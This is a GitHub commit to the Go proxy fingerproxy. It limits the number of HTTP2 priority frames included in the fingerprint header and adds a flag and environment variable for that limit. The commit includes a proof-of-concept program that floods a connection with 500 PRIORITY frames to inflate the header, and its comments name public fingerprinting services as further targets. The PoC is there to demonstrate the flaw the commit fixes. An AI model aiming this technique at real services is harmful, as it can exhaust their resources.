Skip to content

Commit

Permalink
Initial fix.
Browse files Browse the repository at this point in the history
  • Loading branch information
wi1dcard committed Nov 27, 2024
1 parent b23cd9b commit 18aa1e5
Show file tree
Hide file tree
Showing 6 changed files with 153 additions and 13 deletions.
13 changes: 13 additions & 0 deletions env.go
Original file line number Diff line number Diff line change
@@ -1,7 +1,9 @@
package fingerproxy

import (
"log"
"os"
"strconv"
"strings"
)

Expand All @@ -12,6 +14,17 @@ func envWithDefault(key string, defaultVal string) string {
return defaultVal
}

func envWithDefaultUint(key string, defaultVal uint) uint {
if envVal, ok := os.LookupEnv(key); ok {
if ret, err := strconv.ParseUint(envVal, 10, 0); err == nil {
return uint(ret)
} else {
log.Fatalf("invalid environment variable $%s, expect uint, actual %s: %s", key, envVal, err)
}
}
return defaultVal
}

func envWithDefaultBool(key string, defaultVal bool) bool {
if envVal, ok := os.LookupEnv(key); ok {
if strings.ToLower(envVal) == "true" {
Expand Down
100 changes: 100 additions & 0 deletions example/http2-fingerprint-dos-poc/main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,100 @@
package main

import (
"bufio"
"crypto/tls"
"io"
"log"
"net/http"
"net/http/httptrace"
"os"
"time"

"github.com/wi1dcard/fingerproxy"
"golang.org/x/net/http2"
)

/*
This program demonstrates how to craft a large HTTP2 fingerprint.
The HTTP2 fingerprint format suggested by Akamai is: "S[;]|WU|P[,]#|PS[,]", where
all priority frames in HTTP2 request are recorded and shown in the third part. This
gives attackers a chance to manually create a request with many priority frames
and generate a large HTTP2 fingerprint. This program is to reproduce that.
By design, Fingerproxy will send this large fingerprint through HTTP request headers
to downstream. That might cause the backend server run out of resource while
processing this large header. Therefore, a limit of max number of priority frames is
introduced. With Fingerproxy binary, you can set the limit in CLI flag "-max-h2-priority-frames".
See below example.
*/

const numberOfPriorityFrames = 500

func main() {
// fingerproxy no limit, header is long:
// url := launchFingerproxy()

// try with the limit:
url := launchFingerproxyWithPriorityFramesLimit()

// reproducable with other http2 fingerprinting services:
// url := "https://tls.browserleaks.com/http2"
// url := "https://tls.peet.ws/api/clean"

time.Sleep(1 * time.Second)
sendRequest(url)
}

func launchFingerproxy() (url string) {
os.Args = []string{os.Args[0], "-listen-addr=localhost:8443", "-forward-url=https://httpbin.org"}
go fingerproxy.Run()
return "https://localhost:8443/headers"
}

func launchFingerproxyWithPriorityFramesLimit() (url string) {
os.Args = []string{os.Args[0], "-listen-addr=localhost:8443", "-forward-url=https://httpbin.org", "-max-h2-priority-frames=20"}
go fingerproxy.Run()
return "https://localhost:8443/headers"
}

func sendRequest(url string) {
req, _ := http.NewRequest("GET", url, nil)

trace := &httptrace.ClientTrace{
GotConn: gotConn,
}
req = req.WithContext(httptrace.WithClientTrace(req.Context(), trace))

c := &http.Client{
Transport: &http2.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}

resp, err := c.Do(req)

if err != nil {
log.Fatal(err)
}

if b, err := io.ReadAll(resp.Body); err != nil {
log.Fatal(err)
} else {
log.Println(string(b))
}
}

func gotConn(info httptrace.GotConnInfo) {
bw := bufio.NewWriter(info.Conn)
br := bufio.NewReader(info.Conn)
fr := http2.NewFramer(bw, br)
for i := 1; i <= numberOfPriorityFrames; i++ {
err := fr.WritePriority(uint32(i), http2.PriorityParam{Weight: 110})
if err != nil {
log.Fatal(err)
}
}
bw.Flush()
}
22 changes: 15 additions & 7 deletions fingerproxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ import (
"crypto/tls"
"errors"
"log"
"math"
"net/http"
"net/http/httputil"
"net/url"
Expand All @@ -16,7 +17,7 @@ import (
"github.com/prometheus/client_golang/prometheus/promhttp"
"github.com/wi1dcard/fingerproxy/pkg/certwatcher"
"github.com/wi1dcard/fingerproxy/pkg/debug"
"github.com/wi1dcard/fingerproxy/pkg/fingerprint"
fp "github.com/wi1dcard/fingerproxy/pkg/fingerprint"
"github.com/wi1dcard/fingerproxy/pkg/proxyserver"
"github.com/wi1dcard/fingerproxy/pkg/reverseproxy"
)
Expand Down Expand Up @@ -52,10 +53,17 @@ var (
// and Akamai HTTP2 fingerprints. Override [fingerproxy.GetHeaderInjectors] to replace
// this to your own injectors.
func DefaultHeaderInjectors() []reverseproxy.HeaderInjector {
h2fp := &fp.HTTP2FingerprintParam{}
if flagMaxHTTP2PriorityFrames == nil { // if CLI flags are not initialized
h2fp.MaxPriorityFrames = math.MaxUint
} else {
h2fp.MaxPriorityFrames = *flagMaxHTTP2PriorityFrames
}

return []reverseproxy.HeaderInjector{
fingerprint.NewFingerprintHeaderInjector("X-JA3-Fingerprint", fingerprint.JA3Fingerprint),
fingerprint.NewFingerprintHeaderInjector("X-JA4-Fingerprint", fingerprint.JA4Fingerprint),
fingerprint.NewFingerprintHeaderInjector("X-HTTP2-Fingerprint", fingerprint.HTTP2Fingerprint),
fp.NewFingerprintHeaderInjector("X-JA3-Fingerprint", fp.JA3Fingerprint),
fp.NewFingerprintHeaderInjector("X-JA4-Fingerprint", fp.JA4Fingerprint),
fp.NewFingerprintHeaderInjector("X-HTTP2-Fingerprint", h2fp.HTTP2Fingerprint),
}
}

Expand Down Expand Up @@ -129,9 +137,9 @@ func defaultTLSConfig(cw *certwatcher.CertWatcher) *tls.Config {
}

func initFingerprint() {
fingerprint.Logger = FingerprintLog
fingerprint.VerboseLogs = *flagVerboseLogs
fingerprint.RegisterDurationMetric(PrometheusRegistry, parseDurationMetricBuckets(), "")
fp.Logger = FingerprintLog
fp.VerboseLogs = *flagVerboseLogs
fp.RegisterDurationMetric(PrometheusRegistry, parseDurationMetricBuckets(), "")
}

// Run fingerproxy. To customize the fingerprinting algorithms, use "header injectors".
Expand Down
7 changes: 7 additions & 0 deletions flags.go
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@ var (

// functionality
flagPreserveHost *bool
flagMaxHTTP2PriorityFrames *uint
flagEnableKubernetesProbe *bool
flagReverseProxyFlushInterval *string

Expand Down Expand Up @@ -76,6 +77,12 @@ func initFlags() {
"Forward HTTP Host header from incoming requests to the backend, equivalent to $PRESERVE_HOST",
)

flagMaxHTTP2PriorityFrames = flag.Uint(
"max-h2-priority-frames",
envWithDefaultUint("MAX_H2_PRIORITY_FRAMES", 10000),
"Max number of HTTP2 priority frames, set this to avoid too large HTTP2 fingerprints",
)

flagEnableKubernetesProbe = flag.Bool(
"enable-kubernetes-probe",
envWithDefaultBool("ENABLE_KUBERNETES_PROBE", true),
Expand Down
10 changes: 7 additions & 3 deletions pkg/fingerprint/fingerprint.go
Original file line number Diff line number Diff line change
Expand Up @@ -55,11 +55,15 @@ func JA3Fingerprint(data *metadata.Metadata) (string, error) {
return fp, nil
}

// HTTP2Fingerprint is a FingerprintFunc, it output the Akamai HTTP2 fingerprint
type HTTP2FingerprintParam struct {
MaxPriorityFrames uint
}

// HTTP2Fingerprint is a FingerprintFunc, it creates Akamai HTTP2 fingerprints
// as the suggested format: S[;]|WU|P[,]#|PS[,]
func HTTP2Fingerprint(data *metadata.Metadata) (string, error) {
func (p *HTTP2FingerprintParam) HTTP2Fingerprint(data *metadata.Metadata) (string, error) {
if data.ConnectionState.NegotiatedProtocol == "h2" {
fp := data.HTTP2Frames.String()
fp := data.HTTP2Frames.Marshal(p.MaxPriorityFrames)
vlogf("http2 fingerprint: %s", fp)
return fp, nil
}
Expand Down
14 changes: 11 additions & 3 deletions pkg/metadata/http2.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ package metadata
import (
"bytes"
"fmt"
"math"
)

// https://github.com/golang/net/blob/5a444b4f2fe893ea00f0376da46aa5376c3f3e28/http2/http2.go#L112-L119
Expand Down Expand Up @@ -39,8 +40,12 @@ type HTTP2FingerprintingFrames struct {
Headers []HeaderField
}

// TODO: add tests
func (f *HTTP2FingerprintingFrames) String() string {
return f.Marshal(math.MaxUint)
}

// TODO: add tests
func (f *HTTP2FingerprintingFrames) Marshal(maxPriorityFrames uint) string {
var buf bytes.Buffer

// SETTINGS frame
Expand All @@ -60,11 +65,14 @@ func (f *HTTP2FingerprintingFrames) String() string {
buf.WriteString(fmt.Sprintf("%02d|", f.WindowUpdateIncrement))

// PRIORITY frame
if len(f.Priorities) == 0 {
if l := len(f.Priorities); uint(l) < maxPriorityFrames {
maxPriorityFrames = uint(l)
}
if maxPriorityFrames == 0 {
// If this feature does not exist, the value should be ‘0’.
buf.WriteString("0|")
} else {
for i, p := range f.Priorities {
for i, p := range f.Priorities[:maxPriorityFrames] {
if i != 0 {
// Multiple priority frames are concatenated by a comma (,).
buf.WriteString(",")
Expand Down

0 comments on commit 18aa1e5

Please sign in to comment.